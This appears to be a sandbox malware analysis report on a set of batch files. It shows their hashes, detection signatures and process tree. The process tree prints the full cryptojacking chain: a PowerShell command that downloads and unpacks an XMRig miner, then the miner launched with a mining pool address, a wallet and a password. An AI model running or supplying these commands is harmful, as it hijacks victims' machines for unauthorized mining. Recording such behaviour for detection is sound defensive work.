Overview
overview
10Static
static
1tesy - Copy (10).bat
windows10-1703-x64
10tesy - Copy (11).bat
windows10-1703-x64
10tesy - Copy (12).bat
windows10-1703-x64
10tesy - Copy (13).bat
windows10-1703-x64
10tesy - Copy (14).bat
windows10-1703-x64
10tesy - Copy (2).bat
windows10-1703-x64
10tesy - Copy (3).bat
windows10-1703-x64
10tesy - Copy (4).bat
windows10-1703-x64
10tesy - Copy (5).bat
windows10-1703-x64
10tesy - Copy (6).bat
windows10-1703-x64
10tesy - Copy (7).bat
windows10-1703-x64
10tesy - Copy (8).bat
windows10-1703-x64
10tesy - Copy (9).bat
windows10-1703-x64
10tesy - Copy.bat
windows10-1703-x64
10tesy.bat
windows10-1703-x64
10Analysis
-
max time kernel
1797s -
max time network
1807s -
platform
windows10-1703_x64 -
resource
win10-20231215-en -
resource tags
arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system -
submitted
25-12-2023 07:36
Static task
static1
Behavioral task
behavioral1
Sample
tesy - Copy (10).bat
Resource
win10-20231215-en
Behavioral task
behavioral2
Sample
tesy - Copy (11).bat
Resource
win10-20231215-en
Behavioral task
behavioral3
Sample
tesy - Copy (12).bat
Resource
win10-20231215-en
Behavioral task
behavioral4
Sample
tesy - Copy (13).bat
Resource
win10-20231215-en
Behavioral task
behavioral5
Sample
tesy - Copy (14).bat
Resource
win10-20231220-en
Behavioral task
behavioral6
Sample
tesy - Copy (2).bat
Resource
win10-20231220-en
Behavioral task
behavioral7
Sample
tesy - Copy (3).bat
Resource
win10-20231215-en
Behavioral task
behavioral8
Sample
tesy - Copy (4).bat
Resource
win10-20231215-en
Behavioral task
behavioral9
Sample
tesy - Copy (5).bat
Resource
win10-20231215-en
Behavioral task
behavioral10
Sample
tesy - Copy (6).bat
Resource
win10-20231220-en
Behavioral task
behavioral11
Sample
tesy - Copy (7).bat
Resource
win10-20231215-en
Behavioral task
behavioral12
Sample
tesy - Copy (8).bat
Resource
win10-20231215-en
Behavioral task
behavioral13
Sample
tesy - Copy (9).bat
Resource
win10-20231215-en
Behavioral task
behavioral14
Sample
tesy - Copy.bat
Resource
win10-20231215-en
General
-
Target
tesy - Copy.bat
-
Size
608B
-
MD5
727c8da0478af118c957ae60f7161cab
-
SHA1
cf18105b8659e93bbd2824fa35ef1bae7b395301
-
SHA256
97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab
-
SHA512
d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01
Malware Config
Extracted
https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip
Signatures
-
XMRig Miner payload 63 IoCs
resource yara_rule behavioral14/memory/1096-120-0x00007FF615320000-0x00007FF615E23000-memory.dmp xmrig behavioral14/memory/1096-123-0x00007FF615320000-0x00007FF615E23000-memory.dmp xmrig behavioral14/memory/1096-124-0x00007FF615320000-0x00007FF615E23000-memory.dmp xmrig behavioral14/memory/1096-125-0x00007FF615320000-0x00007FF615E23000-memory.dmp xmrig behavioral14/memory/1096-128-0x00007FF615320000-0x00007FF615E23000-memory.dmp xmrig behavioral14/memory/1096-129-0x00007FF615320000-0x00007FF615E23000-memory.dmp xmrig behavioral14/memory/1096-130-0x00007FF615320000-0x00007FF615E23000-memory.dmp xmrig behavioral14/memory/1096-131-0x00007FF615320000-0x00007FF615E23000-memory.dmp xmrig behavioral14/memory/1096-132-0x00007FF615320000-0x00007FF615E23000-memory.dmp xmrig behavioral14/memory/1096-133-0x00007FF615320000-0x00007FF615E23000-memory.dmp xmrig behavioral14/memory/1096-134-0x00007FF615320000-0x00007FF615E23000-memory.dmp xmrig behavioral14/memory/1096-135-0x00007FF615320000-0x00007FF615E23000-memory.dmp xmrig behavioral14/memory/1096-136-0x00007FF615320000-0x00007FF615E23000-memory.dmp xmrig behavioral14/memory/1096-137-0x00007FF615320000-0x00007FF615E23000-memory.dmp xmrig behavioral14/memory/1096-138-0x00007FF615320000-0x00007FF615E23000-memory.dmp xmrig behavioral14/memory/1096-139-0x00007FF615320000-0x00007FF615E23000-memory.dmp xmrig behavioral14/memory/1096-140-0x00007FF615320000-0x00007FF615E23000-memory.dmp xmrig behavioral14/memory/1096-141-0x00007FF615320000-0x00007FF615E23000-memory.dmp xmrig behavioral14/memory/1096-142-0x00007FF615320000-0x00007FF615E23000-memory.dmp xmrig behavioral14/memory/1096-143-0x00007FF615320000-0x00007FF615E23000-memory.dmp xmrig behavioral14/memory/1096-144-0x00007FF615320000-0x00007FF615E23000-memory.dmp xmrig behavioral14/memory/1096-145-0x00007FF615320000-0x00007FF615E23000-memory.dmp xmrig behavioral14/memory/1096-146-0x00007FF615320000-0x00007FF615E23000-memory.dmp xmrig behavioral14/memory/1096-147-0x00007FF615320000-0x00007FF615E23000-memory.dmp xmrig behavioral14/memory/1096-148-0x00007FF615320000-0x00007FF615E23000-memory.dmp xmrig behavioral14/memory/1096-149-0x00007FF615320000-0x00007FF615E23000-memory.dmp xmrig behavioral14/memory/1096-150-0x00007FF615320000-0x00007FF615E23000-memory.dmp xmrig behavioral14/memory/1096-151-0x00007FF615320000-0x00007FF615E23000-memory.dmp xmrig behavioral14/memory/1096-152-0x00007FF615320000-0x00007FF615E23000-memory.dmp xmrig behavioral14/memory/1096-153-0x00007FF615320000-0x00007FF615E23000-memory.dmp xmrig behavioral14/memory/1096-154-0x00007FF615320000-0x00007FF615E23000-memory.dmp xmrig behavioral14/memory/1096-155-0x00007FF615320000-0x00007FF615E23000-memory.dmp xmrig behavioral14/memory/1096-156-0x00007FF615320000-0x00007FF615E23000-memory.dmp xmrig behavioral14/memory/1096-157-0x00007FF615320000-0x00007FF615E23000-memory.dmp xmrig behavioral14/memory/1096-158-0x00007FF615320000-0x00007FF615E23000-memory.dmp xmrig behavioral14/memory/1096-159-0x00007FF615320000-0x00007FF615E23000-memory.dmp xmrig behavioral14/memory/1096-160-0x00007FF615320000-0x00007FF615E23000-memory.dmp xmrig behavioral14/memory/1096-161-0x00007FF615320000-0x00007FF615E23000-memory.dmp xmrig behavioral14/memory/1096-162-0x00007FF615320000-0x00007FF615E23000-memory.dmp xmrig behavioral14/memory/1096-163-0x00007FF615320000-0x00007FF615E23000-memory.dmp xmrig behavioral14/memory/1096-164-0x00007FF615320000-0x00007FF615E23000-memory.dmp xmrig behavioral14/memory/1096-165-0x00007FF615320000-0x00007FF615E23000-memory.dmp xmrig behavioral14/memory/1096-166-0x00007FF615320000-0x00007FF615E23000-memory.dmp xmrig behavioral14/memory/1096-167-0x00007FF615320000-0x00007FF615E23000-memory.dmp xmrig behavioral14/memory/1096-168-0x00007FF615320000-0x00007FF615E23000-memory.dmp xmrig behavioral14/memory/1096-169-0x00007FF615320000-0x00007FF615E23000-memory.dmp xmrig behavioral14/memory/1096-170-0x00007FF615320000-0x00007FF615E23000-memory.dmp xmrig behavioral14/memory/1096-171-0x00007FF615320000-0x00007FF615E23000-memory.dmp xmrig behavioral14/memory/1096-172-0x00007FF615320000-0x00007FF615E23000-memory.dmp xmrig behavioral14/memory/1096-173-0x00007FF615320000-0x00007FF615E23000-memory.dmp xmrig behavioral14/memory/1096-174-0x00007FF615320000-0x00007FF615E23000-memory.dmp xmrig behavioral14/memory/1096-175-0x00007FF615320000-0x00007FF615E23000-memory.dmp xmrig behavioral14/memory/1096-176-0x00007FF615320000-0x00007FF615E23000-memory.dmp xmrig behavioral14/memory/1096-177-0x00007FF615320000-0x00007FF615E23000-memory.dmp xmrig behavioral14/memory/1096-178-0x00007FF615320000-0x00007FF615E23000-memory.dmp xmrig behavioral14/memory/1096-179-0x00007FF615320000-0x00007FF615E23000-memory.dmp xmrig behavioral14/memory/1096-180-0x00007FF615320000-0x00007FF615E23000-memory.dmp xmrig behavioral14/memory/1096-181-0x00007FF615320000-0x00007FF615E23000-memory.dmp xmrig behavioral14/memory/1096-182-0x00007FF615320000-0x00007FF615E23000-memory.dmp xmrig behavioral14/memory/1096-183-0x00007FF615320000-0x00007FF615E23000-memory.dmp xmrig behavioral14/memory/1096-184-0x00007FF615320000-0x00007FF615E23000-memory.dmp xmrig behavioral14/memory/1096-185-0x00007FF615320000-0x00007FF615E23000-memory.dmp xmrig behavioral14/memory/1096-186-0x00007FF615320000-0x00007FF615E23000-memory.dmp xmrig -
Blocklisted process makes network request 2 IoCs
flow pid Process 2 2796 powershell.exe 4 2796 powershell.exe -
Executes dropped EXE 1 IoCs
pid Process 1096 xmrig.exe -
Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 2796 powershell.exe 2796 powershell.exe 2796 powershell.exe 4628 powershell.exe 4628 powershell.exe 4628 powershell.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 616 Process not Found -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 2796 powershell.exe Token: SeDebugPrivilege 4628 powershell.exe Token: SeLockMemoryPrivilege 1096 xmrig.exe Token: SeLockMemoryPrivilege 1096 xmrig.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 1096 xmrig.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 1488 wrote to memory of 2796 1488 cmd.exe 73 PID 1488 wrote to memory of 2796 1488 cmd.exe 73 PID 1488 wrote to memory of 4628 1488 cmd.exe 74 PID 1488 wrote to memory of 4628 1488 cmd.exe 74 PID 1488 wrote to memory of 1096 1488 cmd.exe 75 PID 1488 wrote to memory of 1096 1488 cmd.exe 75
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:1488 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2796
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4628
-
-
C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exexmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b142⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:1096
-
Network
MITRE ATT&CK Matrix
Replay Monitor
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Downloads
-
Filesize
3KB
MD542d4b1d78e6e092af15c7aef34e5cf45
SHA16cf9d0e674430680f67260194d3185667a2bb77b
SHA256c4089b4313f7b8b74956faa2c4e15b9ffb1d9e5e29ac7e00a20c48b8f7aef5e0
SHA512d31f065208766eea61facc91b23babb4c94906fb564dc06d114cbbc4068516f94032c764c188bed492509010c5dbe61f096d3e986e0ae3e70a170a9986458930
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Filesize
1KB
MD514f3f0727533f74d4915cc996da1b29e
SHA154799cc1c15c88b63815e491edcc1a753892b888
SHA256226f92c828cb96d71ac041accb063115cb34231647b8f1ca847ae56f6ae489a0
SHA512924b0a1e9d4736ce21ec4f803d91fb63dc15740a47f269fbdb39fb98a5348db4b80411f4407ca91d77412eb7508ffeb8c8247132c66a0fe05a4ef0221ca4326c